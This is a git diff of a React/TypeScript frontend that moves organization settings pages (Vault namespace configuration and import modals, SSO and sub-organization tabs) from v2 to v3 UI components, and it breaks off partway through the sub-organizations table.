-            <p className="text-sm text-gray-400">
-              Enable in-platform migration tooling for policy imports, auth methods, and secret
-              engine migrations
-            </p>
-          </div>
-        </div>
-        <Button
-          colorSchema="primary"
-          type="submit"
-          leftIcon={<FontAwesomeIcon icon={faPlus} />}
-          onClick={handleAdd}
-        >
-          Add Namespace
-        </Button>
-      </div>
-
-      <TableContainer>
-        <Table>
-          <THead>
-            <Tr>
-              <Th>Namespace</Th>
-              <Th>Connection</Th>
-              <Th className="w-5" />
-            </Tr>
-          </THead>
-          <TBody>
-            {isLoadingConfigs && (
-              <TableSkeleton columns={3} innerKey="vault-configs-loading" rows={3} />
-            )}
-            {!isLoadingConfigs && configs.length === 0 && (
-              <Tr>
-                <Td colSpan={3}>
-                  <EmptyState title="No namespace configurations" icon={faPlus} className="py-8">
-                    <p className="mb-4 text-sm text-mineshaft-400">
-                      Add a namespace configuration to enable in-platform migration features.
-                    </p>
-                  </EmptyState>
-                </Td>
-              </Tr>
-            )}
-            {!isLoadingConfigs &&
-              configs.map((config) => (
-                <Tr key={config.id} className="group h-10">
-                  <Td>{config.namespace}</Td>
-                  <Td>{getConnectionName(config.connectionId)}</Td>
-                  <Td>
-                    <div className="flex items-center justify-end gap-2 opacity-0 transition-opacity group-hover:opacity-100">
-                      <Button
-                        variant="plain"
-                        colorSchema="secondary"
-                        size="xs"
-                        onClick={() => handleEdit(config)}
-                        leftIcon={<FontAwesomeIcon icon={faEdit} />}
-                      >
-                        Edit
-                      </Button>
-                      <Button
-                        variant="plain"
-                        colorSchema="danger"
-                        size="xs"
-                        onClick={() => handleDeleteClick(config)}
-                        leftIcon={<FontAwesomeIcon icon={faTrash} />}
-                      >
-                        Delete
-                      </Button>
-                    </div>
-                  </Td>
-                </Tr>
-              ))}
-          </TBody>
-        </Table>
-      </TableContainer>
-
-      <p className="mt-4 text-xs text-mineshaft-400">
-        Configure namespace-specific connections to enable in-platform migration features. Manage
-        connections in the{" "}
-        <Link
-          to="/organizations/$orgId/app-connections"
-          params={{ orgId: currentOrg.id }}
-          className="text-primary underline hover:text-primary-300"
-        >
-          App Connections
-        </Link>{" "}
-        section.
-      </p>
-
-      <VaultNamespaceConfigModal
-        isOpen={isModalOpen}
-        onOpenChange={(open) => {
-          setIsModalOpen(open);
-          if (!open) setSelectedConfig(null);
-        }}
-        editConfig={selectedConfig || undefined}
-      />
-
-      <DeleteActionModal
-        isOpen={isDeleteModalOpen}
-        title={`Delete namespace configuration for "${configToDelete?.namespace}"?`}
-        onChange={(open) => {
-          setIsDeleteModalOpen(open);
-          if (!open) setConfigToDelete(null);
-        }}
-        deleteKey="confirm"
-        onDeleteApproved={handleDeleteConfirm}
-      />
-    </div>
-  );
-};
diff --git a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/VaultNamespaceConfigModal.tsx b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/VaultNamespaceConfigModal.tsx
index f08aae204db..516266b19c4 100644
--- a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/VaultNamespaceConfigModal.tsx
+++ b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/VaultNamespaceConfigModal.tsx
@@ -1,24 +1,38 @@
 import { useEffect, useMemo } from "react";
 import { Controller, useForm } from "react-hook-form";
 import { zodResolver } from "@hookform/resolvers/zod";
+import { InfoIcon } from "lucide-react";
 import { z } from "zod";
 
 import { createNotification } from "@app/components/notifications";
 import {
   Button,
-  FilterableSelect,
-  FormControl,
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+  Field,
+  FieldContent,
+  FieldError,
+  FieldLabel,
   Input,
-  Modal,
-  ModalContent
-} from "@app/components/v2";
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
+import { FilterableSelect } from "@app/components/v3/generic/ReactSelect";
 import { AppConnection } from "@app/hooks/api/appConnections/enums";
 import { useListAppConnections } from "@app/hooks/api/appConnections/queries";
 import {
-  useCreateVaultExternalMigrationConfig,
-  useUpdateVaultExternalMigrationConfig
+  useCreateExternalMigrationConfig,
+  useUpdateExternalMigrationConfig
 } from "@app/hooks/api/migration";
-import { TVaultExternalMigrationConfig } from "@app/hooks/api/migration/types";
+import {
+  ExternalMigrationProviders,
+  TExternalMigrationConfig
+} from "@app/hooks/api/migration/types";
 
 const schema = z.object({
   namespace: z
@@ -32,7 +46,7 @@ type FormData = z.infer<typeof schema>;
 type Props = {
   isOpen: boolean;
   onOpenChange: (isOpen: boolean) => void;
-  editConfig?: TVaultExternalMigrationConfig;
+  editConfig?: TExternalMigrationConfig;
 };
 
 export const VaultNamespaceConfigModal = ({ isOpen, onOpenChange, editConfig }: Props) => {
@@ -41,14 +55,13 @@ export const VaultNamespaceConfigModal = ({ isOpen, onOpenChange, editConfig }:
   const { data: appConnections = [], isPending: isLoadingConnections } = useListAppConnections();
 
   const vaultConnections = useMemo(
-    () => appConnections.filter((conn) => conn.app === AppConnection.HCVault),
+    () =>
+      appConnections.filter((conn) => conn.app === AppConnection.HCVault && conn.projectId == null),
     [appConnections]
   );
 
-  const { mutateAsync: createConfig, isPending: isCreating } =
-    useCreateVaultExternalMigrationConfig();
-  const { mutateAsync: updateConfig, isPending: isUpdating } =
-    useUpdateVaultExternalMigrationConfig();
+  const { mutateAsync: createConfig, isPending: isCreating } = useCreateExternalMigrationConfig();
+  const { mutateAsync: updateConfig, isPending: isUpdating } = useUpdateExternalMigrationConfig();
 
   const {
     control,
@@ -63,22 +76,26 @@ export const VaultNamespaceConfigModal = ({ isOpen, onOpenChange, editConfig }:
     }
   });
 
-  // Reset form when editConfig changes or modal opens
   useEffect(() => {
     if (isOpen) {
       reset({
-        namespace: editConfig?.namespace || "",
+        namespace: "",
         connectionId: editConfig?.connectionId || ""
       });
     }
   }, [isOpen, editConfig, reset]);
 
   const onFormSubmit = async (data: FormData) => {
+    const input = {
+      provider: ExternalMigrationProviders.Vault as const,
+      config: { namespace: data.namespace }
+    };
+
     if (isEdit && editConfig) {
       await updateConfig({
         id: editConfig.id,
-        namespace: data.namespace,
-        connectionId: data.connectionId
+        connectionId: data.connectionId,
+        input
       });
       createNotification({
         type: "success",
@@ -86,8 +103,8 @@ export const VaultNamespaceConfigModal = ({ isOpen, onOpenChange, editConfig }:
       });
     } else {
       await createConfig({
-        namespace: data.namespace,
-        connectionId: data.connectionId
+        connectionId: data.connectionId,
+        input
       });
       createNotification({
         type: "success",
@@ -103,26 +120,45 @@ export const VaultNamespaceConfigModal = ({ isOpen, onOpenChange, editConfig }:
     onOpenChange(false);
   };
 
+  const isPending = isSubmitting || isCreating || isUpdating;
+
   return (
-    <Modal isOpen={isOpen} onOpenChange={handleClose}>
-      <ModalContent
-        title={isEdit ? "Edit Namespace Configuration" : "Add Namespace Configuration"}
-        subTitle={`Configure a HashiCorp Vault namespace ${isEdit ? "configuration" : "for migration tooling"}`}
-        bodyClassName="overflow-visible"
-      >
-        <form onSubmit={handleSubmit(onFormSubmit)}>
+    <Dialog
+      open={isOpen}
+      onOpenChange={(open) => {
+        if (!open) {
+          reset();
+          onOpenChange(false);
+        }
+      }}
+    >
+      <DialogContent className="max-w-lg overflow-visible" showCloseButton>
+        <DialogHeader>
+          <DialogTitle>
+            {isEdit ? "Edit Namespace Configuration" : "Add Namespace Configuration"}
+          </DialogTitle>
+          <DialogDescription>
+            Configure a HashiCorp Vault namespace{" "}
+            {isEdit ? "configuration" : "for migration tooling"}
+          </DialogDescription>
+        </DialogHeader>
+        <form onSubmit={handleSubmit(onFormSubmit)} className="space-y-4">
           <Controller
             control={control}
             name="namespace"
             render={({ field }) => (
-              <FormControl
-                label="Namespace"
-                isError={Boolean(errors.namespace)}
-                errorText={errors.namespace?.message}
-                className="mb-4"
-              >
-                <Input {...field} placeholder="e.g., admin, dev, prod" autoComplete="off" />
-              </FormControl>
+              <Field>
+                <FieldLabel>Namespace</FieldLabel>
+                <FieldContent>
+                  <Input
+                    {...field}
+                    placeholder="e.g., admin, dev, prod"
+                    autoComplete="off"
+                    isError={Boolean(errors.namespace)}
+                  />
+                </FieldContent>
+                <FieldError>{errors.namespace?.message}</FieldError>
+              </Field>
             )}
           />
 
@@ -133,49 +169,54 @@ export const VaultNamespaceConfigModal = ({ isOpen, onOpenChange, editConfig }:
               const selectedConnection = vaultConnections.find((conn) => conn.id === field.value);
 
               return (
-                <FormControl
-                  label="Vault Connection"
-                  isError={Boolean(errors.connectionId)}
-                  errorText={errors.connectionId?.message}
-                  tooltipText="Select a HashiCorp Vault app connection for this namespace"
-                >
-                  <FilterableSelect
-                    value={selectedConnection || null}
-                    onChange={(newValue) => {
-                      const singleValue = Array.isArray(newValue) ? newValue[0] : newValue;
-                      if (singleValue && "id" in singleValue) {
-                        field.onChange(singleValue.id);
-                      } else {
-                        field.onChange("");
-                      }
-                    }}
-                    isLoading={isLoadingConnections}
-                    options={vaultConnections}
-                    placeholder="Select connection..."
-                    getOptionLabel={(option) => option.name}
-                    getOptionValue={(option) => option.id}
-                  />
-                </FormControl>
+                <Field>
+                  <FieldLabel className="inline-flex items-center gap-1">
+                    Vault Connection
+                    <Tooltip>
+                      <TooltipTrigger asChild>
+                        <span className="inline-flex cursor-default">
+                          <InfoIcon className="size-3 text-accent" aria-hidden />
+                        </span>
+                      </TooltipTrigger>
+                      <TooltipContent>
+                        Select a HashiCorp Vault app connection for this namespace
+                      </TooltipContent>
+                    </Tooltip>
+                  </FieldLabel>
+                  <FieldContent>
+                    <FilterableSelect
+                      value={selectedConnection || null}
+                      onChange={(newValue) => {
+                        const singleValue = Array.isArray(newValue) ? newValue[0] : newValue;
+                        if (singleValue && "id" in singleValue) {
+                          field.onChange(singleValue.id);
+                        } else {
+                          field.onChange("");
+                        }
+                      }}
+                      isLoading={isLoadingConnections}
+                      options={vaultConnections}
+                      placeholder="Select connection..."
+                      getOptionLabel={(option) => option.name}
+                      getOptionValue={(option) => option.id}
+                    />
+                  </FieldContent>
+                  <FieldError>{errors.connectionId?.message}</FieldError>
+                </Field>
               );
             }}
           />
 
-          <div className="mt-8 flex items-center gap-2">
-            <Button
-              className="mr-4"
-              size="sm"
-              type="submit"
-              isLoading={isSubmitting || isCreating || isUpdating}
-              isDisabled={isSubmitting || isCreating || isUpdating}
-            >
-              {isEdit ? "Update" : "Create"}
-            </Button>
-            <Button colorSchema="secondary" variant="plain" onClick={handleClose}>
+          <DialogFooter className="gap-2 sm:gap-2">
+            <Button type="button" variant="ghost" onClick={handleClose}>
               Cancel
             </Button>
-          </div>
+            <Button type="submit" variant="org" isPending={isPending} isDisabled={isPending}>
+              {isEdit ? "Update" : "Create"}
+            </Button>
+          </DialogFooter>
         </form>
-      </ModalContent>
-    </Modal>
+      </DialogContent>
+    </Dialog>
   );
 };
diff --git a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/VaultPlatformModal.tsx b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/VaultPlatformModal.tsx
index d793a1e1e72..238c91a838b 100644
--- a/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/VaultPlatformModal.tsx
+++ b/frontend/src/pages/organization/SettingsPage/components/ExternalMigrationsTab/components/VaultPlatformModal.tsx
@@ -1,15 +1,31 @@
 import { Controller, useForm } from "react-hook-form";
-import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import { useQuery } from "@tanstack/react-query";
+import { CircleHelpIcon } from "lucide-react";
 import { twMerge } from "tailwind-merge";
 import { z } from "zod";
 
 import { createNotification } from "@app/components/notifications";
 import { OrgPermissionCan } from "@app/components/permissions";
-import { Button, FormControl, Input, Select, SelectItem, Tooltip } from "@app/components/v2";
-import { NoticeBannerV2 } from "@app/components/v2/NoticeBannerV2/NoticeBannerV2";
+import {
+  Alert,
+  AlertDescription,
+  AlertTitle,
+  Button,
+  Field,
+  FieldContent,
+  FieldError,
+  FieldLabel,
+  Input,
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
 import {
   OrgGatewayPermissionActions,
   OrgPermissionSubjects
@@ -30,6 +46,63 @@ enum VaultMappingType {
   Custom = "custom"
 }
 
+const GATEWAY_NONE = "__gateway_none__";
+
+type VaultGatewaySelectProps = {
+  isAllowed: boolean;
+  isGatewayLoading: boolean;
+  value: string | undefined;
+  onChange: (next: string | undefined) => void;
+  hasError: boolean;
+  gateways?: { id: string; name: string }[];
+};
+
+function VaultGatewaySelect({
+  isAllowed,
+  isGatewayLoading,
+  value,
+  onChange,
+  hasError,
+  gateways
+}: VaultGatewaySelectProps) {
+  const select = (
+    <Select
+      value={value || GATEWAY_NONE}
+      onValueChange={(v) => {
+        onChange(v === GATEWAY_NONE ? undefined : v);
+      }}
+      disabled={!isAllowed || isGatewayLoading}
+    >
+      <SelectTrigger size="default" className="w-full max-w-none min-w-0" aria-invalid={hasError}>
+        <SelectValue placeholder={isGatewayLoading ? "Loading gateways…" : "Internet Gateway"} />
+      </SelectTrigger>
+      <SelectContent position="popper" className="min-w-(--radix-select-trigger-width)">
+        <SelectItem value={GATEWAY_NONE}>Internet Gateway</SelectItem>
+        {gateways?.map((el) => (
+          <SelectItem value={el.id} key={el.id}>
+            {el.name}
+          </SelectItem>
+        ))}
+      </SelectContent>
+    </Select>
+  );
+
+  if (isAllowed) {
+    return select;
+  }
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <span className="block w-full cursor-not-allowed">{select}</span>
+      </TooltipTrigger>
+      <TooltipContent>
+        Restricted access. You don&apos;t have permission to attach gateways to resources.
+      </TooltipContent>
+    </Tooltip>
+  );
+}
+
 const MAPPING_TYPE_MENU_ITEMS = [
   {
     isCustom: false,
@@ -128,16 +201,19 @@ export const VaultPlatformModal = ({ onClose }: Props) => {
 
   return (
     <div>
-      <NoticeBannerV2 title="Vault KV Secret Engine Import" className="mb-4">
-        <p className="text-sm">
-          The Vault migration currently supports importing static secrets from Vault
-          Dedicated/Self-Hosted.
-          <div className="mt-2 text-xs opacity-80">
+      <Alert variant="info" className="mb-4">
+        <AlertTitle>Vault KV Secret Engine Import</AlertTitle>
+        <AlertDescription>
+          <p>
+            The Vault migration currently supports importing static secrets from Vault
+            Dedicated/Self-Hosted.
+          </p>
+          <p className="mt-2 text-xs opacity-80">
             Currently only KV Secret Engine is supported for Vault migrations.
-          </div>
-        </p>
-      </NoticeBannerV2>
-      <form onSubmit={handleSubmit(onSubmit)} autoComplete="off">
+          </p>
+        </AlertDescription>
+      </Alert>
+      <form onSubmit={handleSubmit(onSubmit)} autoComplete="off" className="space-y-4">
         <div className="w-full flex-1">
           <OrgPermissionCan
             I={OrgGatewayPermissionActions.AttachGateways}
@@ -149,48 +225,23 @@ export const VaultPlatformModal = ({ onClose }: Props) => {
                 name="gatewayId"
                 defaultValue=""
                 render={({ field: { value, onChange }, fieldState: { error } }) => (
-                  <FormControl
-                    isError={Boolean(error?.message)}
-                    errorText={error?.message}
-                    label="Gateway"
-                    isOptional
-                  >
-                    <Tooltip
-                      isDisabled={isAllowed}
-                      content="Restricted access. You don't have permission to attach gateways to resources."
-                    >
-                      <div>
-                        <Select
-                          isDisabled={!isAllowed}
-                          value={value as string}
-                          onValueChange={(v) => {
-                            if (v !== "") {
-                              onChange(v);
-                            }
-                          }}
-                          className="w-full border border-mineshaft-500"
-                          dropdownContainerClassName="max-w-none"
-                          isLoading={isGatewayLoading}
-                          placeholder="Default: Internet Gateway"
-                          position="popper"
-                        >
-                          <SelectItem
-                            value={undefined as unknown as string}
-                            onClick={() => {
-                              onChange(undefined);
-                            }}
-                          >
-                            Internet Gateway
-                          </SelectItem>
-                          {gateways?.map((el) => (
-                            <SelectItem value={el.id} key={el.id}>
-                              {el.name}
-                            </SelectItem>
-                          ))}
-                        </Select>
-                      </div>
-                    </Tooltip>
-                  </FormControl>
+                  <Field>
+                    <FieldLabel className="inline-flex flex-wrap items-baseline gap-1.5">
+                      Gateway
+                      <span className="text-xs font-normal text-muted">(optional)</span>
+                    </FieldLabel>
+                    <FieldContent>
+                      <VaultGatewaySelect
+                        isAllowed={isAllowed}
+                        isGatewayLoading={isGatewayLoading}
+                        value={value}
+                        onChange={onChange}
+                        hasError={Boolean(error)}
+                        gateways={gateways}
+                      />
+                    </FieldContent>
+                    <FieldError>{error?.message}</FieldError>
+                  </Field>
                 )}
               />
             )}
@@ -201,41 +252,51 @@ export const VaultPlatformModal = ({ onClose }: Props) => {
           control={control}
           name="vaultUrl"
           render={({ field, fieldState: { error } }) => (
-            <FormControl
-              label="Vault URL"
-              isRequired
-              errorText={error?.message}
-              isError={Boolean(error)}
-            >
-              <Input placeholder="" {...field} />
-            </FormControl>
+            <Field>
+              <FieldLabel>Vault URL</FieldLabel>
+              <FieldContent>
+                <Input placeholder="" {...field} isError={Boolean(error)} />
+              </FieldContent>
+              <FieldError>{error?.message}</FieldError>
+            </Field>
           )}
         />
         <Controller
           control={control}
           name="vaultNamespace"
           render={({ field, fieldState: { error } }) => (
-            <FormControl
-              label="Vault Namespace"
-              errorText={error?.message}
-              isError={Boolean(error)}
-            >
-              <Input type="text" placeholder="" {...field} />
-            </FormControl>
+            <Field>
+              <FieldLabel>Vault Namespace</FieldLabel>
+              <FieldContent>
+                <Input
+                  type="text"
+                  placeholder="admin"
+                  autoComplete="off"
+                  {...field}
+                  isError={Boolean(error)}
+                />
+              </FieldContent>
+              <FieldError>{error?.message}</FieldError>
+            </Field>
           )}
         />
         <Controller
           control={control}
           name="vaultAccessToken"
           render={({ field, fieldState: { error } }) => (
-            <FormControl
-              label="Vault Access Token"
-              isRequired
-              errorText={error?.message}
-              isError={Boolean(error)}
-            >
-              <Input type="password" placeholder="" {...field} />
-            </FormControl>
+            <Field>
+              <FieldLabel>Vault Access Token</FieldLabel>
+              <FieldContent>
+                <Input
+                  type="password"
+                  placeholder="hvs.XXXXXXXXXXXXXXXX"
+                  autoComplete="new-password"
+                  {...field}
+                  isError={Boolean(error)}
+                />
+              </FieldContent>
+              <FieldError>{error?.message}</FieldError>
+            </Field>
           )}
         />
         <Controller
@@ -243,71 +304,73 @@ export const VaultPlatformModal = ({ onClose }: Props) => {
           name="mappingType"
           defaultValue={VaultMappingType.KeyVault}
           render={({ field, fieldState: { error } }) => (
-            <FormControl
-              label="Project Mapping"
-              isError={Boolean(error)}
-              isRequired
-              errorText={error?.message}
-              className="flex-1"
-            >
-              <div className="mt-2 grid grid-cols-2 gap-4">
-                {MAPPING_TYPE_MENU_ITEMS.map((el) => (
-                  <div
-                    key={el.value}
-                    className={twMerge(
-                      "flex w-full cursor-pointer flex-col items-center gap-2 rounded-sm border border-mineshaft-600 p-4 opacity-75 transition-all",
-                      field.value === el.value
-                        ? "border-opacity-70 border-primary-700 bg-mineshaft-700 opacity-100"
-                        : "hover:border-primary-800/75 hover:bg-mineshaft-600",
-                      el.isCustom && "col-span-2",
-                      el.isCustom &&
-                        !isCustomMigrationAvailable?.data?.enabled &&
-                        "cursor-not-allowed! border-mineshaft-600! bg-mineshaft-600! opacity-40!"
-                    )}
-                    onClick={() => {
-                      if (el.isCustom && !isCustomMigrationAvailable?.data?.enabled) return;
+            <Field>
+              <FieldLabel>Project Mapping</FieldLabel>
+              <FieldContent>
+                <div className="mt-2 grid grid-cols-2 gap-4">
+                  {MAPPING_TYPE_MENU_ITEMS.map((el) => (
+                    <div
+                      key={el.value}
+                      className={twMerge(
+                        "flex w-full cursor-pointer flex-col items-center gap-2 rounded-sm border border-border bg-container/50 p-4 opacity-75 transition-all",
+                        field.value === el.value
+                          ? "border-project/50 bg-container opacity-100"
+                          : "hover:border-accent/30 hover:bg-foreground/5",
+                        el.isCustom && "col-span-2",
+                        el.isCustom &&
+                          !isCustomMigrationAvailable?.data?.enabled &&
+                          "pointer-events-none cursor-not-allowed border-border bg-muted/30 opacity-40"
+                      )}
+                      onClick={() => {
+                        if (el.isCustom && !isCustomMigrationAvailable?.data?.enabled) return;
 
-                      field.onChange(el.value);
-                    }}
-                    onKeyDown={(e) => {
-                      if (e.key !== "Enter") return;
-                      if (el.isCustom && !isCustomMigrationAvailable?.data?.enabled) return;
+                        field.onChange(el.value);
+                      }}
+                      onKeyDown={(e) => {
+                        if (e.key !== "Enter") return;
+                        if (el.isCustom && !isCustomMigrationAvailable?.data?.enabled) return;
 
-                      field.onChange(el.value);
-                    }}
-                    role="button"
-                    tabIndex={0}
-                  >
-                    <div className="flex items-center gap-1">
-                      <div className="text-center text-sm">{el.label}</div>
-                      {el.tooltip && (
-                        <div className="text-center text-sm">
-                          <Tooltip content={el.tooltip} className="max-w-96">
-                            <FontAwesomeIcon
-                              size="sm"
-                              className="text-mineshaft-400"
-                              icon={faQuestionCircle}
-                            />
+                        field.onChange(el.value);
+                      }}
+                      role="button"
+                      tabIndex={0}
+                    >
+                      <div className="flex items-center gap-1">
+                        <div className="text-center text-sm text-foreground">{el.label}</div>
+                        {el.tooltip && (
+                          <Tooltip>
+                            <TooltipTrigger asChild>
+                              <button
+                                type="button"
+                                className="inline-flex text-muted hover:text-foreground"
+                                onClick={(e) => e.stopPropagation()}
+                              >
+                                <CircleHelpIcon className="size-4" aria-label="More info" />
+                              </button>
+                            </TooltipTrigger>
+                            <TooltipContent className="max-w-96">{el.tooltip}</TooltipContent>
                           </Tooltip>
-                        </div>
-                      )}
+                        )}
+                      </div>
                     </div>
-                  </div>
-                ))}
-              </div>
-            </FormControl>
+                  ))}
+                </div>
+              </FieldContent>
+              <FieldError>{error?.message}</FieldError>
+            </Field>
           )}
         />
 
-        <div className="mt-6 flex items-center space-x-4">
+        <div className="flex items-center gap-2 pt-2">
           <Button
             type="submit"
-            isLoading={isLoading}
+            variant="project"
+            isPending={isLoading || isSubmitting}
             isDisabled={!isDirty || isSubmitting || isLoading || !isValid}
           >
             Import Data
           </Button>
-          <Button variant="outline_bg" onClick={onClose}>
+          <Button type="button" variant="outline" onClick={onClose}>
             Cancel
           </Button>
         </div>
diff --git a/frontend/src/pages/organization/SettingsPage/components/OrgSsoTab/OrgSsoTab.tsx b/frontend/src/pages/organization/SettingsPage/components/OrgSsoTab/OrgSsoTab.tsx
index 1bc285d3d64..3b7a2ca9e69 100644
--- a/frontend/src/pages/organization/SettingsPage/components/OrgSsoTab/OrgSsoTab.tsx
+++ b/frontend/src/pages/organization/SettingsPage/components/OrgSsoTab/OrgSsoTab.tsx
@@ -1,7 +1,9 @@
+import { InfoIcon } from "lucide-react";
 import { twMerge } from "tailwind-merge";
 
 import { UpgradePlanModal } from "@app/components/license/UpgradePlanModal";
-import { Alert, AlertDescription, Button, ContentLoader, EmptyState } from "@app/components/v2";
+import { Button, ContentLoader, EmptyState } from "@app/components/v2";
+import { Alert, AlertDescription, AlertTitle } from "@app/components/v3";
 import {
   OrgPermissionEmailDomainActions,
   OrgPermissionSsoActions,
@@ -92,9 +94,12 @@ export const OrgSsoTab = withPermission(
                 OIDC, and LDAP.
               </p>
               {subscription?.emailDomainVerification && !isPending && !emailDomains?.length && (
-                <Alert hideTitle iconClassName="text-yellow-500" variant="warning">
+                <Alert variant="info" className="mt-3 bg-info/10">
+                  <InfoIcon />
+                  <AlertTitle>Email domain verification required</AlertTitle>
                   <AlertDescription>
-                    Email domain verification is required to use an identity provider.
+                    You must verify at least one email domain before configuring an identity
+                    provider. Add a domain in the Email Domains section above.
                   </AlertDescription>
                 </Alert>
               )}
@@ -224,9 +229,12 @@ export const OrgSsoTab = withPermission(
                 ) &&
                 !isPending &&
                 !emailDomains?.length && (
-                  <Alert hideTitle iconClassName="text-yellow-500" variant="warning">
+                  <Alert variant="info" className="mt-3 bg-info/10">
+                    <InfoIcon />
+                    <AlertTitle>Email domain verification required</AlertTitle>
                     <AlertDescription>
-                      Email domain verification is required to use an identity provider.
+                      You must verify at least one email domain before configuring an identity
+                      provider. Add a domain in the Email Domains section above.
                     </AlertDescription>
                   </Alert>
                 )}
diff --git a/frontend/src/pages/organization/SettingsPage/components/OrgSubOrgsTab/OrgSubOrgsTab.tsx b/frontend/src/pages/organization/SettingsPage/components/OrgSubOrgsTab/OrgSubOrgsTab.tsx
index c6c7ce693ec..56ea41448c2 100644
--- a/frontend/src/pages/organization/SettingsPage/components/OrgSubOrgsTab/OrgSubOrgsTab.tsx
+++ b/frontend/src/pages/organization/SettingsPage/components/OrgSubOrgsTab/OrgSubOrgsTab.tsx
@@ -24,32 +24,32 @@ import { DeleteActionModal, FormControl, Input, Modal, ModalContent } from "@app
 import {
   Badge,
   Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
   InputGroup,
   InputGroupAddon,
   InputGroupInput,
+  Pagination,
   Skeleton,
-  UnstableCard,
-  UnstableCardAction,
-  UnstableCardContent,
-  UnstableCardDescription,
-  UnstableCardHeader,
-  UnstableCardTitle,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstablePagination,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
 } from "@app/components/v3";
 import { OrgPermissionSubjects, useOrgPermission, useUser } from "@app/context";
 import { OrgPermissionSubOrgActions } from "@app/context/OrgPermissionContext/types";
@@ -178,7 +178,6 @@ export const OrgSubOrgsTab = () => {
     }
 
     SecurityClient.setToken(token);
-    SecurityClient.setProviderAuthToken("");
     queryClient.removeQueries({ queryKey: authKeys.getAuthToken });
     await queryClient.refetchQueries({ queryKey: authKeys.getAuthToken });
     await navigateUserToOrg({ navigate, organizationId: subOrgId });
@@ -228,13 +227,11 @@ export const OrgSubOrgsTab = () => {
 
   return (
     <>
-      <UnstableCard>
-        <UnstableCardHeader>
-          <UnstableCardTitle>Sub-Organizations</UnstableCardTitle>
-          <UnstableCardDescription>
-            Manage sub-organizations under this organization.
-          </UnstableCardDescription>
-          <UnstableCardAction>
+      <Card>
+        <CardHeader>
+          <CardTitle>Sub-Organizations</CardTitle>
+          <CardDescription>Manage sub-organizations under this organization.</CardDescription>
+          <CardAction>
             <OrgPermissionCan
               I={OrgPermissionSubOrgActions.Create}
               a={OrgPermissionSubjects.SubOrganization}
@@ -250,9 +247,9 @@ export const OrgSubOrgsTab = () => {
                 </Button>
               )}
             </OrgPermissionCan>
-          </UnstableCardAction>
-        </UnstableCardHeader>
-        <UnstableCardContent>
+          </CardAction>
+        </CardHeader>
+        <CardContent>
           <div className="mb-4 flex gap-2">
             <InputGroup className="flex-1">
               <InputGroupAddon>
@@ -266,26 +263,26 @@ export const OrgSubOrgsTab = () => {
             </InputGroup>
           </div>
           {!isLoading && paginatedSubOrgs.length === 0 ? (
-            <UnstableEmpty className="border">
-              <UnstableEmptyHeader>
-                <UnstableEmptyTitle>
+            <Empty className="border">
+              <EmptyHeader>
+                <EmptyTitle>
                   {searchFilter
                     ? "No sub-organizations match search"
                     : "No sub-organizations found"}
-                </UnstableEmptyTitle>
-                <UnstableEmptyDescription>
+                </EmptyTitle>
+                <EmptyDescription>
                   {searchFilter
                     ? "Adjust your search criteria."
                     : "Create a sub-organization to get started."}
-                </UnstableEmptyDescription>
-              </UnstableEmptyHeader>
-            </UnstableEmpty>
+                </EmptyDescription>
+              </EmptyHeader>
+            </Empty>
           ) : (
             <>
-              <UnstableTable>
-                <UnstableTableHeader>
-                  <UnstableTableRow>
-                    <UnstableTableHead onClick={toggleOrderDirection} className="w-1/3">
+              <Table>
+                <TableHeader>
+                  <TableRow>
+                    <TableHead onClick={toggleOrderDirection} className="w-1/3">
                       Name
                       <ChevronDownIcon
                         className={twMerge(
@@ -293,37 +290,37 @@ export const OrgSubOrgsTab = () => {
                           "transition-transform"
                         )}
                       />
-                    </UnstableTableHead>
-                    <UnstableTableHead className="w-1/4">Slug</UnstableTableHead>
-                    <UnstableTableHead className="w-1/4">Created</UnstableTableHead>
-                    <UnstableTableHead>Status</UnstableTableHead>
-                    <UnstableTableHead className="w-5" />
-                  </UnstableTableRow>
-                </UnstableTableHeader>
-                <UnstableTableBody>
+                    </TableHead>
+                    <TableHead className="w-1/4">Slug</TableHead>
+                    <TableHead className="w-1/4">Created</TableHead>
+                    <TableHead>Status</TableHead>
+                    <TableHead className="w-5" />
+                  </TableRow>
+                </TableHeader>
+                <TableBody>
                   {isLoading &&
                     Array.from({ length: perPage }).map((_, i) => (
-                      <UnstableTableRow key={`skeleton-${i + 1}`}>
-                        <UnstableTableCell>
+                      <TableRow key={`skeleton-${i + 1}`}>
+                        <TableCell>
                           <Skeleton className="h-4 w-full" />
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                        </TableCell>
+                        <TableCell>
                           <Skeleton className="h-4 w-full" />
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                        </TableCell>
+                        <TableCell>
                           <Skeleton className="h-4 w-full" />
-                        </UnstableTableCell>
-                        <UnstableTableCell>
+                        </TableCell>
+                        <TableCell>
                           <Skeleton className="h-4 w-16" />
-                        </UnstableTableCell>
-                        <UnstableTableCell>
